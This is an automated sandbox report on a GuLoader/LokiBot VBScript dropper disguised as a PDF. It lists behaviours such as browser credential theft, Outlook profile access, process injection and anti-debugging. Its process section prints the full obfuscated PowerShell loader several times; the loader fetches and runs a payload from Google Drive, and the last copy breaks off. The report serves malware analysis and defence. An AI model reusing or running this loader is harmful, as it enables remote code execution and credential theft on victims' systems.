Malware Analysis Report

2024-11-30 23:46

Sample ID 240916-rhvdvssamr
Target Document BT24·pdf.vbs
SHA256 72708400a35b43f411491296dd56b88c2e0db8a12038fb612ff35daf5f4bb120
Tags
guloader lokibot collection credential_access discovery downloader spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

72708400a35b43f411491296dd56b88c2e0db8a12038fb612ff35daf5f4bb120

Threat Level: Known bad

The file Document BT24·pdf.vbs was found to be: Known bad.

Malicious Activity Summary

guloader lokibot collection credential_access discovery downloader spyware stealer trojan

Guloader,Cloudeye

Lokibot

Credentials from Password Stores: Credentials from Web Browsers

Blocklisted process makes network request

Checks computer location settings

Accesses Microsoft Outlook profiles

Legitimate hosting services abused for malware hosting/C2

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

outlook_win_path

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

outlook_office_path

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-16 14:12

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-16 14:12

Reported

2024-09-16 14:14

Platform

win7-20240708-en

Max time kernel

144s

Max time network

148s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2572 set thread context of 2944 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2644 wrote to memory of 2372 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2644 wrote to memory of 2372 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2644 wrote to memory of 2372 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2372 wrote to memory of 2684 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2372 wrote to memory of 2684 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2372 wrote to memory of 2684 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2372 wrote to memory of 2552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2372 wrote to memory of 2552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2372 wrote to memory of 2552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2552 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2552 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2552 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2552 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2572 wrote to memory of 1504 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 1504 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 1504 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 1504 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 2944 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 2572 wrote to memory of 2944 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 2572 wrote to memory of 2944 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 2572 wrote to memory of 2944 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 2572 wrote to memory of 2944 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 2572 wrote to memory of 2944 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 Reco.Unnom0Forte ';$Cateringlario=Bevandret 'K.svauo.erasPalpeEVess.RAbort-FrdigAbagsigTmmereAlminn Pa tterhve ';$Kropssprog=Bevandret 'Frimrh,lokkt odeltEmulspAc,uis inde: Ska./Stigr/HereddImarer Re uiTuffev odbe Bind.tovnigGuateoU faroParkegInterlbund eStege.SystucOversoP,rmemSvuls/ BloduApparcLin e?A opeeSchtixOr,efpInstro U flr B,ldtMogot= GrundPlastono.fow da anA.thrlTiljuoS.mora .enndUpflu&Pomo i Tem.dUnm v=Insid1 ntelASvajeRPre oF P stM WhitqRurergT.lriQHo ca9,roemHSmergy oghamChampLRi gepFolebwVrget2HolocXSemesoProjeiTriksFfriedgRhodag conc4Befol4ChronfDupliTTrkl,bS,lteWPrfa,Z Hovey Non NSqui,KRer gOUbeta ';$Nitrosite=Bevandret 'Besti>Su.er ';$Locusting144=Bevandret 'concriEnd ce C,keXGenkb ';$Abdicator='Suldans';$Dicatalectic = Bevandret 'TransePrdikc olamh lleoAbbey Refri%Beaveahaglbp,rayep Ringd algbaE foltDesina acht%Uns,m\Bev sNp rtmo,axonnAftrka RosepKv,lioD,spisMi jttImmunaMedlet Tridi .otlzCo iciFindynPengeg Tress Yabu.AbstrN muraosest,nSkr,e Unma&Glott&Rugni Reduce ominc reskh Resho Fy r Ki kutUlpmi ';Levir (Bevandret 'Palat$RichegGidsel rffeoMinerb ,evoaAstralampel:AntisEA.hopn F.nej O deeUdvidtMoti,=Stili(B rikcBrasem PremdVerni Skbn./ ThebcEvang Agram$DowdiDPrepri rbejcK,leraGrovdtAnsttaEk.emlBir heAttlecHusmnt Tyr iInvescUn og) Ungk ');Levir (Bevandret ' Spu $Ild bgPitomlBefrioE ersbKlim,aM jeml Maal:Do keW Supre AutoeGa sskTiltae .aanndaugad magfGreylr rkrei P ectpervi=Forrd$t murKUo.fir mangoSuf.opAltersOpsnasIn,erpattr rnondeoUdeergEnmes.pr grs FastpLufttlPern iBuf etA.tma( kole$ChimnNHovedi GenetAutomr BrunoSteddsInfigiTanket Ca.aeCache)Unhou ');Levir (Bevandret 'Res r[Bi elNA dele HjertBalli.Kol,kSVa uuecammerKnavevSp oni Stalct ange JamaP St xoEnfeti JernnInkakt DramMHvil.a milin orsyaUnderg MinieTegnerStrit] Stro:Barre:IntenSkapnieSprric aturuF rber Ski,iOverctLeucoyDamn PEksperNitroo SysttKedeloFeriecAutokoKoksel unk Juri =.heat Eriks[ Slv.NCentreAnmastDem r. ReinS DroseOmkrscHologuFlipdrElmaaiLimnotB achyNevscPopsenrDaakao echyt F.broTeroscBoligoCau.alPo luTIndbyy Non pAmoebeKlie ]Fi it:Inval: tatuTParahlTriumsForbe1Perit2Makro ');$Kropssprog=$Weekendfrit[0];$undrunken= (Bevandret 'Unwat$tamp gTe.delTutteOYoungBkogepavok.elEa th:Raakah oldsA BagdV SpalB Ril iT sseODistol KamcoUndvigConstIFo,ktS,eassK M ds=Ap ean jeneE NutswS.ole-FraskoMicroBYrk rJShamoEDek pcFjodoTSuper ZippSJok sYKos.esRev et AbioERastpmMass . Retrn L ukEBedewt Trau.CrucewFodnoECongobSabziCtilkaL LectiT dimEtertuNTermot');$undrunken+=$Enjet[1];Levir ($undrunken);Levir (Bevandret 'Stern$Jarl h AnegaKvartvDicerbSolceiCi,cuoBegunl lhexoBoratgImmigiSalifsOu pekPukke.Amal H TeeteChitta KlosdUnwateDragsropl tsFo sk[Const$ForbrCBindia inintLseneePicayrSour iLi nin .otag nitlSandca ensrRedemiRomeroKruge]Toler= ravi$De,tiM RdstaOve et ChlosSa.me ');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nonapostatizings.Non && echo t"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 Reco.Unnom0Forte ';$Cateringlario=Bevandret 'K.svauo.erasPalpeEVess.RAbort-FrdigAbagsigTmmereAlminn Pa tterhve ';$Kropssprog=Bevandret 'Frimrh,lokkt odeltEmulspAc,uis inde: Ska./Stigr/HereddImarer Re uiTuffev odbe Bind.tovnigGuateoU faroParkegInterlbund eStege.SystucOversoP,rmemSvuls/ BloduApparcLin e?A opeeSchtixOr,efpInstro U flr B,ldtMogot= GrundPlastono.fow da anA.thrlTiljuoS.mora .enndUpflu&Pomo i Tem.dUnm v=Insid1 ntelASvajeRPre oF P stM WhitqRurergT.lriQHo ca9,roemHSmergy oghamChampLRi gepFolebwVrget2HolocXSemesoProjeiTriksFfriedgRhodag conc4Befol4ChronfDupliTTrkl,bS,lteWPrfa,Z Hovey Non NSqui,KRer gOUbeta ';$Nitrosite=Bevandret 'Besti>Su.er ';$Locusting144=Bevandret 'concriEnd ce C,keXGenkb ';$Abdicator='Suldans';$Dicatalectic = Bevandret 'TransePrdikc olamh lleoAbbey Refri%Beaveahaglbp,rayep Ringd algbaE foltDesina acht%Uns,m\Bev sNp rtmo,axonnAftrka RosepKv,lioD,spisMi jttImmunaMedlet Tridi .otlzCo iciFindynPengeg Tress Yabu.AbstrN muraosest,nSkr,e Unma&Glott&Rugni Reduce ominc reskh Resho Fy r Ki kutUlpmi ';Levir (Bevandret 'Palat$RichegGidsel rffeoMinerb ,evoaAstralampel:AntisEA.hopn F.nej O deeUdvidtMoti,=Stili(B rikcBrasem PremdVerni Skbn./ ThebcEvang Agram$DowdiDPrepri rbejcK,leraGrovdtAnsttaEk.emlBir heAttlecHusmnt Tyr iInvescUn og) Ungk ');Levir (Bevandret ' Spu $Ild bgPitomlBefrioE ersbKlim,aM jeml Maal:Do keW Supre AutoeGa sskTiltae .aanndaugad magfGreylr rkrei P ectpervi=Forrd$t murKUo.fir mangoSuf.opAltersOpsnasIn,erpattr rnondeoUdeergEnmes.pr grs FastpLufttlPern iBuf etA.tma( kole$ChimnNHovedi GenetAutomr BrunoSteddsInfigiTanket Ca.aeCache)Unhou ');Levir (Bevandret 'Res r[Bi elNA dele HjertBalli.Kol,kSVa uuecammerKnavevSp oni Stalct ange JamaP St xoEnfeti JernnInkakt DramMHvil.a milin orsyaUnderg MinieTegnerStrit] Stro:Barre:IntenSkapnieSprric aturuF rber Ski,iOverctLeucoyDamn PEksperNitroo SysttKedeloFeriecAutokoKoksel unk Juri =.heat Eriks[ Slv.NCentreAnmastDem r. ReinS DroseOmkrscHologuFlipdrElmaaiLimnotB achyNevscPopsenrDaakao echyt F.broTeroscBoligoCau.alPo luTIndbyy Non pAmoebeKlie ]Fi it:Inval: tatuTParahlTriumsForbe1Perit2Makro ');$Kropssprog=$Weekendfrit[0];$undrunken= (Bevandret 'Unwat$tamp gTe.delTutteOYoungBkogepavok.elEa th:Raakah oldsA BagdV SpalB Ril iT sseODistol KamcoUndvigConstIFo,ktS,eassK M ds=Ap ean jeneE NutswS.ole-FraskoMicroBYrk rJShamoEDek pcFjodoTSuper ZippSJok sYKos.esRev et AbioERastpmMass . Retrn L ukEBedewt Trau.CrucewFodnoECongobSabziCtilkaL LectiT dimEtertuNTermot');$undrunken+=$Enjet[1];Levir ($undrunken);Levir (Bevandret 'Stern$Jarl h AnegaKvartvDicerbSolceiCi,cuoBegunl lhexoBoratgImmigiSalifsOu pekPukke.Amal H TeeteChitta KlosdUnwateDragsropl tsFo sk[Const$ForbrCBindia inintLseneePicayrSour iLi nin .otag nitlSandca ensrRedemiRomeroKruge]Toler= ravi$De,tiM RdstaOve et ChlosSa.me ');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 Reco.Unnom0Forte ';$Cateringlario=Bevandret 'K.svauo.erasPalpeEVess.RAbort-FrdigAbagsigTmmereAlminn Pa tterhve ';$Kropssprog=Bevandret 'Frimrh,lokkt odeltEmulspAc,uis inde: Ska./Stigr/HereddImarer Re uiTuffev odbe Bind.tovnigGuateoU faroParkegInterlbund 